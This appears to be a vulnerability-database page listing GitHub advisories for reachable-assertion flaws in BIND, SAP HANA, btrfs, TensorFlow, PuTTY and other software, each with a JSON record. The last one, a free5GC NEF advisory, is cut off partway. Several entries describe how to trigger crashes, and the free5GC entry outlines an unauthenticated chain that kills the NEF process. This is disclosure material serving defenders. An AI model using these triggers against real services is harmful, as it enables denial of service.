Common Weakness Enumeration

CWE-617

Allowed

Reachable Assertion

Abstraction: Base · Status: Draft

API response cwe.mitre.org

The product contains an assert() or similar statement that can be triggered by an attacker, which leads to an application exit or other behavior that is more severe than necessary.

989 vulnerabilities reference this CWE, most recent first.

GHSA-RRRP-782C-4484

Vulnerability from github – Published: 2026-03-25 15:31 – Updated: 2026-03-25 15:31
VLAI
Details

Under certain conditions, named may crash when processing a correctly signed query containing a TKEY record. The affected code can only be reached if an incoming request has a valid transaction signature (TSIG) from a key declared in the named configuration. This issue affects BIND 9 versions 9.20.0 through 9.20.20, 9.21.0 through 9.21.19, and 9.20.9-S1 through 9.20.20-S1. BIND 9 versions 9.18.0 through 9.18.46 and 9.18.11-S1 through 9.18.46-S1 are NOT affected.

Severity
6.5 (Medium)
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H
Show details on source website
To clipboard 

{
  "affected": [],
  "aliases": [
    "CVE-2026-3119"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-617"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2026-03-25T14:16:37Z",
    "severity": "MODERATE"
  },
  "details": "Under certain conditions, `named` may crash when processing a correctly signed query containing a TKEY record. The affected code can only be reached if an incoming request has a valid transaction signature (TSIG) from a key declared in the `named` configuration.\nThis issue affects BIND 9 versions 9.20.0 through 9.20.20, 9.21.0 through 9.21.19, and 9.20.9-S1 through 9.20.20-S1.\nBIND 9 versions 9.18.0 through 9.18.46 and 9.18.11-S1 through 9.18.46-S1 are NOT affected.",
  "id": "GHSA-rrrp-782c-4484",
  "modified": "2026-03-25T15:31:29Z",
  "published": "2026-03-25T15:31:29Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-3119"
    },
    {
      "type": "WEB",
      "url": "https://downloads.isc.org/isc/bind9/9.20.21"
    },
    {
      "type": "WEB",
      "url": "https://downloads.isc.org/isc/bind9/9.21.20"
    },
    {
      "type": "WEB",
      "url": "https://kb.isc.org/docs/cve-2026-3119"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-RV79-6VMG-92J4

Vulnerability from github – Published: 2022-05-13 01:47 – Updated: 2025-04-20 03:38
VLAI
Details

sinopia, as used in SAP HANA XS 1.00 and 2.00, allows remote attackers to cause a denial of service (assertion failure and service crash) by pushing a package with a filename containing a $ (dollar sign) or % (percent) character, aka SAP Security Note 2407694.

Severity
7.5 (High)
CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
Show details on source website
To clipboard 

{
  "affected": [],
  "aliases": [
    "CVE-2017-8915"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-617"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2017-05-23T04:29:00Z",
    "severity": "HIGH"
  },
  "details": "sinopia, as used in SAP HANA XS 1.00 and 2.00, allows remote attackers to cause a denial of service (assertion failure and service crash) by pushing a package with a filename containing a $ (dollar sign) or % (percent) character, aka SAP Security Note 2407694.",
  "id": "GHSA-rv79-6vmg-92j4",
  "modified": "2025-04-20T03:38:07Z",
  "published": "2022-05-13T01:47:46Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2017-8915"
    },
    {
      "type": "WEB",
      "url": "https://erpscan.io/advisories/erpscan-17-008-sap-hana-xs-sinopia-dos"
    },
    {
      "type": "WEB",
      "url": "https://erpscan.io/press-center/blog/sap-cyber-threat-intelligence-report-february-2017"
    },
    {
      "type": "WEB",
      "url": "http://www.securityfocus.com/bid/96206"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-RV8H-HRGV-P5CW

Vulnerability from github – Published: 2025-02-27 03:34 – Updated: 2025-10-28 21:30
VLAI
Details

In the Linux kernel, the following vulnerability has been resolved:

btrfs: fix assertion failure when splitting ordered extent after transaction abort

If while we are doing a direct IO write a transaction abort happens, we mark all existing ordered extents with the BTRFS_ORDERED_IOERR flag (done at btrfs_destroy_ordered_extents()), and then after that if we enter btrfs_split_ordered_extent() and the ordered extent has bytes left (meaning we have a bio that doesn't cover the whole ordered extent, see details at btrfs_extract_ordered_extent()), we will fail on the following assertion at btrfs_split_ordered_extent():

ASSERT(!(flags & ~BTRFS_ORDERED_TYPE_FLAGS));

because the BTRFS_ORDERED_IOERR flag is set and the definition of BTRFS_ORDERED_TYPE_FLAGS is just the union of all flags that identify the type of write (regular, nocow, prealloc, compressed, direct IO, encoded).

Fix this by returning an error from btrfs_extract_ordered_extent() if we find the BTRFS_ORDERED_IOERR flag in the ordered extent. The error will be the error that resulted in the transaction abort or -EIO if no transaction abort happened.

This was recently reported by syzbot with the following trace:

FAULT_INJECTION: forcing a failure. name failslab, interval 1, probability 0, space 0, times 1 CPU: 0 UID: 0 PID: 5321 Comm: syz.0.0 Not tainted 6.13.0-rc5-syzkaller #0 Hardware name: QEMU Standard PC (Q35 + ICH9, 2009), BIOS 1.16.3-debian-1.16.3-2~bpo12+1 04/01/2014 Call Trace: __dump_stack lib/dump_stack.c:94 [inline] dump_stack_lvl+0x241/0x360 lib/dump_stack.c:120 fail_dump lib/fault-inject.c:53 [inline] should_fail_ex+0x3b0/0x4e0 lib/fault-inject.c:154 should_failslab+0xac/0x100 mm/failslab.c:46 slab_pre_alloc_hook mm/slub.c:4072 [inline] slab_alloc_node mm/slub.c:4148 [inline] __do_kmalloc_node mm/slub.c:4297 [inline] __kmalloc_noprof+0xdd/0x4c0 mm/slub.c:4310 kmalloc_noprof include/linux/slab.h:905 [inline] kzalloc_noprof include/linux/slab.h:1037 [inline] btrfs_chunk_alloc_add_chunk_item+0x244/0x1100 fs/btrfs/volumes.c:5742 reserve_chunk_space+0x1ca/0x2c0 fs/btrfs/block-group.c:4292 check_system_chunk fs/btrfs/block-group.c:4319 [inline] do_chunk_alloc fs/btrfs/block-group.c:3891 [inline] btrfs_chunk_alloc+0x77b/0xf80 fs/btrfs/block-group.c:4187 find_free_extent_update_loop fs/btrfs/extent-tree.c:4166 [inline] find_free_extent+0x42d1/0x5810 fs/btrfs/extent-tree.c:4579 btrfs_reserve_extent+0x422/0x810 fs/btrfs/extent-tree.c:4672 btrfs_new_extent_direct fs/btrfs/direct-io.c:186 [inline] btrfs_get_blocks_direct_write+0x706/0xfa0 fs/btrfs/direct-io.c:321 btrfs_dio_iomap_begin+0xbb7/0x1180 fs/btrfs/direct-io.c:525 iomap_iter+0x697/0xf60 fs/iomap/iter.c:90 __iomap_dio_rw+0xeb9/0x25b0 fs/iomap/direct-io.c:702 btrfs_dio_write fs/btrfs/direct-io.c:775 [inline] btrfs_direct_write+0x610/0xa30 fs/btrfs/direct-io.c:880 btrfs_do_write_iter+0x2a0/0x760 fs/btrfs/file.c:1397 do_iter_readv_writev+0x600/0x880 vfs_writev+0x376/0xba0 fs/read_write.c:1050 do_pwritev fs/read_write.c:1146 [inline] __do_sys_pwritev2 fs/read_write.c:1204 [inline] __se_sys_pwritev2+0x196/0x2b0 fs/read_write.c:1195 do_syscall_x64 arch/x86/entry/common.c:52 [inline] do_syscall_64+0xf3/0x230 arch/x86/entry/common.c:83 entry_SYSCALL_64_after_hwframe+0x77/0x7f RIP: 0033:0x7f1281f85d29 RSP: 002b:00007f12819fe038 EFLAGS: 00000246 ORIG_RAX: 0000000000000148 RAX: ffffffffffffffda RBX: 00007f1282176080 RCX: 00007f1281f85d29 RDX: 0000000000000001 RSI: 0000000020000240 RDI: 0000000000000005 RBP: 00007f12819fe090 R08: 0000000000000000 R09: 0000000000000003 R10: 0000000000007000 R11: 0000000000000246 R12: 0000000000000002 R13: 0000000000000000 R14: 00007f1282176080 R15: 00007ffcb9e23328 BTRFS error (device loop0 state A): Transaction aborted (error -12) BTRFS: error (device loop0 state A ---truncated---

Severity
5.5 (Medium)
CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H
Show details on source website
To clipboard 

{
  "affected": [],
  "aliases": [
    "CVE-2025-21754"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-617"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2025-02-27T03:15:16Z",
    "severity": "MODERATE"
  },
  "details": "In the Linux kernel, the following vulnerability has been resolved:\n\nbtrfs: fix assertion failure when splitting ordered extent after transaction abort\n\nIf while we are doing a direct IO write a transaction abort happens, we\nmark all existing ordered extents with the BTRFS_ORDERED_IOERR flag (done\nat btrfs_destroy_ordered_extents()), and then after that if we enter\nbtrfs_split_ordered_extent() and the ordered extent has bytes left\n(meaning we have a bio that doesn\u0027t cover the whole ordered extent, see\ndetails at btrfs_extract_ordered_extent()), we will fail on the following\nassertion at btrfs_split_ordered_extent():\n\n   ASSERT(!(flags \u0026 ~BTRFS_ORDERED_TYPE_FLAGS));\n\nbecause the BTRFS_ORDERED_IOERR flag is set and the definition of\nBTRFS_ORDERED_TYPE_FLAGS is just the union of all flags that identify the\ntype of write (regular, nocow, prealloc, compressed, direct IO, encoded).\n\nFix this by returning an error from btrfs_extract_ordered_extent() if we\nfind the BTRFS_ORDERED_IOERR flag in the ordered extent. The error will\nbe the error that resulted in the transaction abort or -EIO if no\ntransaction abort happened.\n\nThis was recently reported by syzbot with the following trace:\n\n   FAULT_INJECTION: forcing a failure.\n   name failslab, interval 1, probability 0, space 0, times 1\n   CPU: 0 UID: 0 PID: 5321 Comm: syz.0.0 Not tainted 6.13.0-rc5-syzkaller #0\n   Hardware name: QEMU Standard PC (Q35 + ICH9, 2009), BIOS 1.16.3-debian-1.16.3-2~bpo12+1 04/01/2014\n   Call Trace:\n    \u003cTASK\u003e\n    __dump_stack lib/dump_stack.c:94 [inline]\n    dump_stack_lvl+0x241/0x360 lib/dump_stack.c:120\n    fail_dump lib/fault-inject.c:53 [inline]\n    should_fail_ex+0x3b0/0x4e0 lib/fault-inject.c:154\n    should_failslab+0xac/0x100 mm/failslab.c:46\n    slab_pre_alloc_hook mm/slub.c:4072 [inline]\n    slab_alloc_node mm/slub.c:4148 [inline]\n    __do_kmalloc_node mm/slub.c:4297 [inline]\n    __kmalloc_noprof+0xdd/0x4c0 mm/slub.c:4310\n    kmalloc_noprof include/linux/slab.h:905 [inline]\n    kzalloc_noprof include/linux/slab.h:1037 [inline]\n    btrfs_chunk_alloc_add_chunk_item+0x244/0x1100 fs/btrfs/volumes.c:5742\n    reserve_chunk_space+0x1ca/0x2c0 fs/btrfs/block-group.c:4292\n    check_system_chunk fs/btrfs/block-group.c:4319 [inline]\n    do_chunk_alloc fs/btrfs/block-group.c:3891 [inline]\n    btrfs_chunk_alloc+0x77b/0xf80 fs/btrfs/block-group.c:4187\n    find_free_extent_update_loop fs/btrfs/extent-tree.c:4166 [inline]\n    find_free_extent+0x42d1/0x5810 fs/btrfs/extent-tree.c:4579\n    btrfs_reserve_extent+0x422/0x810 fs/btrfs/extent-tree.c:4672\n    btrfs_new_extent_direct fs/btrfs/direct-io.c:186 [inline]\n    btrfs_get_blocks_direct_write+0x706/0xfa0 fs/btrfs/direct-io.c:321\n    btrfs_dio_iomap_begin+0xbb7/0x1180 fs/btrfs/direct-io.c:525\n    iomap_iter+0x697/0xf60 fs/iomap/iter.c:90\n    __iomap_dio_rw+0xeb9/0x25b0 fs/iomap/direct-io.c:702\n    btrfs_dio_write fs/btrfs/direct-io.c:775 [inline]\n    btrfs_direct_write+0x610/0xa30 fs/btrfs/direct-io.c:880\n    btrfs_do_write_iter+0x2a0/0x760 fs/btrfs/file.c:1397\n    do_iter_readv_writev+0x600/0x880\n    vfs_writev+0x376/0xba0 fs/read_write.c:1050\n    do_pwritev fs/read_write.c:1146 [inline]\n    __do_sys_pwritev2 fs/read_write.c:1204 [inline]\n    __se_sys_pwritev2+0x196/0x2b0 fs/read_write.c:1195\n    do_syscall_x64 arch/x86/entry/common.c:52 [inline]\n    do_syscall_64+0xf3/0x230 arch/x86/entry/common.c:83\n    entry_SYSCALL_64_after_hwframe+0x77/0x7f\n   RIP: 0033:0x7f1281f85d29\n   RSP: 002b:00007f12819fe038 EFLAGS: 00000246 ORIG_RAX: 0000000000000148\n   RAX: ffffffffffffffda RBX: 00007f1282176080 RCX: 00007f1281f85d29\n   RDX: 0000000000000001 RSI: 0000000020000240 RDI: 0000000000000005\n   RBP: 00007f12819fe090 R08: 0000000000000000 R09: 0000000000000003\n   R10: 0000000000007000 R11: 0000000000000246 R12: 0000000000000002\n   R13: 0000000000000000 R14: 00007f1282176080 R15: 00007ffcb9e23328\n    \u003c/TASK\u003e\n   BTRFS error (device loop0 state A): Transaction aborted (error -12)\n   BTRFS: error (device loop0 state A\n---truncated---",
  "id": "GHSA-rv8h-hrgv-p5cw",
  "modified": "2025-10-28T21:30:27Z",
  "published": "2025-02-27T03:34:05Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2025-21754"
    },
    {
      "type": "WEB",
      "url": "https://git.kernel.org/stable/c/0d85f5c2dd91df6b5da454406756f463ba923b69"
    },
    {
      "type": "WEB",
      "url": "https://git.kernel.org/stable/c/0ff88c2a742a7cbaa4d08507d864737d099b435a"
    },
    {
      "type": "WEB",
      "url": "https://git.kernel.org/stable/c/8ea8db4216d1029527ab4666f730650419451e32"
    },
    {
      "type": "WEB",
      "url": "https://git.kernel.org/stable/c/927b930f117bbae730a853c1dc43da8afe8380fa"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-RVGJ-FPWG-2M28

Vulnerability from github – Published: 2022-05-01 07:41 – Updated: 2024-02-08 03:32
VLAI
Details

KsIRC 1.3.12 allows remote attackers to cause a denial of service (crash) via a long PRIVMSG string when connecting to an Internet Relay Chat (IRC) server, which causes an assertion failure and results in a NULL pointer dereference. NOTE: this issue was originally reported as a buffer overflow.

Severity
6.5 (Medium)
CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H
Show details on source website
To clipboard 

{
  "affected": [],
  "aliases": [
    "CVE-2006-6811"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-617"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2006-12-29T11:28:00Z",
    "severity": "MODERATE"
  },
  "details": "KsIRC 1.3.12 allows remote attackers to cause a denial of service (crash) via a long PRIVMSG string when connecting to an Internet Relay Chat (IRC) server, which causes an assertion failure and results in a NULL pointer dereference.  NOTE: this issue was originally reported as a buffer overflow.",
  "id": "GHSA-rvgj-fpwg-2m28",
  "modified": "2024-02-08T03:32:44Z",
  "published": "2022-05-01T07:41:49Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2006-6811"
    },
    {
      "type": "WEB",
      "url": "https://exchange.xforce.ibmcloud.com/vulnerabilities/31134"
    },
    {
      "type": "WEB",
      "url": "https://issues.rpath.com/browse/RPL-922"
    },
    {
      "type": "WEB",
      "url": "https://www.exploit-db.com/exploits/3023"
    },
    {
      "type": "WEB",
      "url": "http://osvdb.org/33443"
    },
    {
      "type": "WEB",
      "url": "http://security.gentoo.org/glsa/glsa-200701-26.xml"
    },
    {
      "type": "WEB",
      "url": "http://securitytracker.com/id?1017453"
    },
    {
      "type": "WEB",
      "url": "http://www.addict3d.org/index.php?page=viewarticle\u0026trace=0\u0026type=security\u0026ID=8468"
    },
    {
      "type": "WEB",
      "url": "http://www.kde.org/info/security/advisory-20070109-1.txt"
    },
    {
      "type": "WEB",
      "url": "http://www.mandriva.com/security/advisories?name=MDKSA-2007:009"
    },
    {
      "type": "WEB",
      "url": "http://www.securityfocus.com/archive/1/456379/100/0/threaded"
    },
    {
      "type": "WEB",
      "url": "http://www.securityfocus.com/bid/21790"
    },
    {
      "type": "WEB",
      "url": "http://www.ubuntu.com/usn/usn-409-1"
    },
    {
      "type": "WEB",
      "url": "http://www.vupen.com/english/advisories/2006/5199"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-RVJR-2WM5-538Q

Vulnerability from github – Published: 2025-12-02 03:31 – Updated: 2025-12-02 15:30
VLAI
Details

In Modem, there is a possible system crash due to improper input validation. This could lead to remote denial of service, if a UE has connected to a rogue base station controlled by the attacker, with no additional execution privileges needed. User interaction is not needed for exploitation. Patch ID: MOLY01673751; Issue ID: MSV-4644.

Severity
5.3 (Medium)
CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:U/C:N/I:N/A:H
Show details on source website
To clipboard 

{
  "affected": [],
  "aliases": [
    "CVE-2025-20757"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-617"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2025-12-02T03:16:17Z",
    "severity": "MODERATE"
  },
  "details": "In Modem, there is a possible system crash due to improper input validation. This could lead to remote denial of service, if a UE has connected to a rogue base station controlled by the attacker, with no additional execution privileges needed. User interaction is not needed for exploitation. Patch ID: MOLY01673751; Issue ID: MSV-4644.",
  "id": "GHSA-rvjr-2wm5-538q",
  "modified": "2025-12-02T15:30:30Z",
  "published": "2025-12-02T03:31:45Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2025-20757"
    },
    {
      "type": "WEB",
      "url": "https://corp.mediatek.com/product-security-bulletin/December-2025"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:U/C:N/I:N/A:H",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-RWR2-3254-JMGR

Vulnerability from github – Published: 2025-07-29 15:31 – Updated: 2025-07-30 18:31
VLAI
Details

FlashMQ v1.14.0 was discovered to contain an assertion failure in the function PublishCopyFactory::getNewPublish, which occurs when the QoS value of the publish object is greater than 0.

Severity
7.5 (High)
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
Show details on source website
To clipboard 

{
  "affected": [],
  "aliases": [
    "CVE-2024-42644"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-617"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2025-07-29T14:15:34Z",
    "severity": "HIGH"
  },
  "details": "FlashMQ v1.14.0 was discovered to contain an assertion failure in the function PublishCopyFactory::getNewPublish, which occurs when the QoS value of the publish object is greater than 0.",
  "id": "GHSA-rwr2-3254-jmgr",
  "modified": "2025-07-30T18:31:32Z",
  "published": "2025-07-29T15:31:49Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2024-42644"
    },
    {
      "type": "WEB",
      "url": "https://github.com/halfgaar/FlashMQ"
    },
    {
      "type": "WEB",
      "url": "https://github.com/songxpu/bug_report/blob/master/MQTT/FlashMQ/cve-2024-42644.md"
    },
    {
      "type": "WEB",
      "url": "https://www.flashmq.org/2024/06/17/flashmq-1-15-1-released"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-RWW7-2GPW-FV6J

Vulnerability from github – Published: 2022-02-09 23:28 – Updated: 2024-11-13 22:46
VLAI
Summary
Crash when type cannot be specialized in Tensorflow
Details

Impact

Under certain scenarios, TensorFlow can fail to specialize a type during shape inference:

void InferenceContext::PreInputInit(
    const OpDef& op_def, const std::vector<const Tensor*>& input_tensors,
    const std::vector<ShapeHandle>& input_tensors_as_shapes) {
  const auto ret = full_type::SpecializeType(attrs_, op_def);
  DCHECK(ret.status().ok()) << "while instantiating types: " << ret.status();
  ret_types_ = ret.ValueOrDie();
  // ... 
}

However, DCHECK is a no-op in production builds and an assertion failure in debug builds. In the first case execution proceeds to the ValueOrDie line. This results in an assertion failure as ret contains an error Status, not a value. In the second case we also get a crash due to the assertion failure.

Patches

We have patched the issue in GitHub commit cb164786dc891ea11d3a900e90367c339305dc7b.

The fix will be included in TensorFlow 2.8.0. We will also cherrypick this commit on TensorFlow 2.7.1, and TensorFlow 2.6.3, as these are also affected and still in supported range.

For more information

Please consult our security guide for more information regarding the security model and how to contact us with issues and questions.

Severity
6.5 (Medium)
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H
7.1 (High)
CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N
Show details on source website
To clipboard 

{
  "affected": [
    {
      "package": {
        "ecosystem": "PyPI",
        "name": "tensorflow"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "2.5.3"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "PyPI",
        "name": "tensorflow"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "2.6.0"
            },
            {
              "fixed": "2.6.3"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "PyPI",
        "name": "tensorflow"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "2.7.0"
            },
            {
              "fixed": "2.7.1"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ],
      "versions": [
        "2.7.0"
      ]
    },
    {
      "package": {
        "ecosystem": "PyPI",
        "name": "tensorflow-cpu"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "2.5.3"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "PyPI",
        "name": "tensorflow-cpu"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "2.6.0"
            },
            {
              "fixed": "2.6.3"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "PyPI",
        "name": "tensorflow-cpu"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "2.7.0"
            },
            {
              "fixed": "2.7.1"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ],
      "versions": [
        "2.7.0"
      ]
    },
    {
      "package": {
        "ecosystem": "PyPI",
        "name": "tensorflow-gpu"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "2.5.3"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "PyPI",
        "name": "tensorflow-gpu"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "2.6.0"
            },
            {
              "fixed": "2.6.3"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "PyPI",
        "name": "tensorflow-gpu"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "2.7.0"
            },
            {
              "fixed": "2.7.1"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ],
      "versions": [
        "2.7.0"
      ]
    }
  ],
  "aliases": [
    "CVE-2022-23572"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-617",
      "CWE-754"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2022-02-04T18:58:49Z",
    "nvd_published_at": "2022-02-04T23:15:00Z",
    "severity": "HIGH"
  },
  "details": "### Impact\nUnder certain scenarios, TensorFlow can fail to specialize a type during [shape inference](https://github.com/tensorflow/tensorflow/blob/a1320ec1eac186da1d03f033109191f715b2b130/tensorflow/core/framework/shape_inference.cc#L168-L174):\n\n```cc\nvoid InferenceContext::PreInputInit(\n    const OpDef\u0026 op_def, const std::vector\u003cconst Tensor*\u003e\u0026 input_tensors,\n    const std::vector\u003cShapeHandle\u003e\u0026 input_tensors_as_shapes) {\n  const auto ret = full_type::SpecializeType(attrs_, op_def);\n  DCHECK(ret.status().ok()) \u003c\u003c \"while instantiating types: \" \u003c\u003c ret.status();\n  ret_types_ = ret.ValueOrDie();\n  // ... \n}\n```\n\nHowever, `DCHECK` is a no-op in production builds and an assertion failure in debug builds. In the first case execution proceeds to the `ValueOrDie` line. This results in an assertion failure as `ret` contains an error `Status`, not a value. In the second case we also get a crash due to the assertion failure.\n### Patches\nWe have patched the issue in GitHub commit [cb164786dc891ea11d3a900e90367c339305dc7b](https://github.com/tensorflow/tensorflow/commit/cb164786dc891ea11d3a900e90367c339305dc7b).\n\nThe fix will be included in TensorFlow 2.8.0. We will also cherrypick this commit on TensorFlow 2.7.1, and TensorFlow 2.6.3, as these are also affected and still in supported range.\n\n### For more information\nPlease consult [our security guide](https://github.com/tensorflow/tensorflow/blob/master/SECURITY.md) for more information regarding the security model and how to contact us with issues and questions.",
  "id": "GHSA-rww7-2gpw-fv6j",
  "modified": "2024-11-13T22:46:57Z",
  "published": "2022-02-09T23:28:29Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/tensorflow/tensorflow/security/advisories/GHSA-rww7-2gpw-fv6j"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2022-23572"
    },
    {
      "type": "WEB",
      "url": "https://github.com/tensorflow/tensorflow/commit/cb164786dc891ea11d3a900e90367c339305dc7b"
    },
    {
      "type": "WEB",
      "url": "https://github.com/pypa/advisory-database/tree/main/vulns/tensorflow-cpu/PYSEC-2022-81.yaml"
    },
    {
      "type": "WEB",
      "url": "https://github.com/pypa/advisory-database/tree/main/vulns/tensorflow-gpu/PYSEC-2022-136.yaml"
    },
    {
      "type": "WEB",
      "url": "https://github.com/tensorflow/tensorflow"
    },
    {
      "type": "WEB",
      "url": "https://github.com/tensorflow/tensorflow/blob/a1320ec1eac186da1d03f033109191f715b2b130/tensorflow/core/framework/shape_inference.cc#L168-L174"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H",
      "type": "CVSS_V3"
    },
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N",
      "type": "CVSS_V4"
    }
  ],
  "summary": "Crash when type cannot be specialized in Tensorflow"
}

GHSA-RX8R-F2XX-98H9

Vulnerability from github – Published: 2026-05-26 13:30 – Updated: 2026-05-26 13:30
VLAI
Details

PuTTY 0.71 before 0.84 has an assertion failure in ECDSA signature verification.

Severity
3.7 (Low)
CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:L
Show details on source website
To clipboard 

{
  "affected": [],
  "aliases": [
    "CVE-2026-48852"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-617"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2026-05-25T21:16:35Z",
    "severity": "LOW"
  },
  "details": "PuTTY 0.71 before 0.84 has an assertion failure in ECDSA signature verification.",
  "id": "GHSA-rx8r-f2xx-98h9",
  "modified": "2026-05-26T13:30:51Z",
  "published": "2026-05-26T13:30:51Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-48852"
    },
    {
      "type": "WEB",
      "url": "https://lists.tartarus.org/pipermail/putty-announce/2026/000042.html"
    },
    {
      "type": "WEB",
      "url": "https://www.chiark.greenend.org.uk/~sgtatham/putty/wishlist/ecdsa-remotely-triggerable-assertion.html"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:L",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-RXRQ-FV76-26PR

Vulnerability from github – Published: 2026-05-08 22:44 – Updated: 2026-06-08 23:47
VLAI
Summary
free5GC's NEF crashes via logger.Fatal on PFD notification delivery failure (attacker-controlled notifyUri)
Details

Summary

free5GC's NEF terminates the entire process when a stored PFD-subscription notifyUri cannot be reached. In PfdChangeNotifier.FlushNotifications(), the notifier calls NnefPFDmanagementNotify(...) and on any delivery error invokes logger.PFDManageLog.Fatal(err), which is os.Exit(1)-equivalent in Go. An attacker who can create a PFD subscription with an attacker-chosen notifyUri and then trigger a PFD change can deterministically kill NEF on the asynchronous delivery attempt -- the process exits with status 1, dropping NEF's entire SBI surface until restart. This is materially worse than a per-request panic-DoS (Gin recovery does not catch Fatal).

The trigger uses three POSTs that are reachable without an Authorization header in v4.2.1, because the underlying NEF SBI route groups themselves are mounted without inbound auth middleware (see free5gc/free5gc#858, free5gc/free5gc#859, free5gc/free5gc#862). So in the lab the entire chain is unauthenticated end-to-end. This advisory is scoped to the Fatal-on-delivery-failure code defect; the auth-bypass primitives are tracked separately in the upstream issues above.

Details

Validated against the NEF container in the official Docker compose lab. - Source repo tag: v4.2.1 - Running Docker image: free5gc/nef:v4.2.1 - Runtime NEF commit: 5ce35eab - Docker validation date: 2026-03-20 (container log timestamp 2026-03-20T16:00:03Z) - NEF endpoint: http://10.100.200.19:8000

Vulnerable notifier path:

_, err := nc.notifier.clientPfdManagement.PFDSubscriptionsApi.NnefPFDmanagementNotify(
    context.TODO(), nc.notifier.getSubURI(id), notifyReq)
if err != nil {
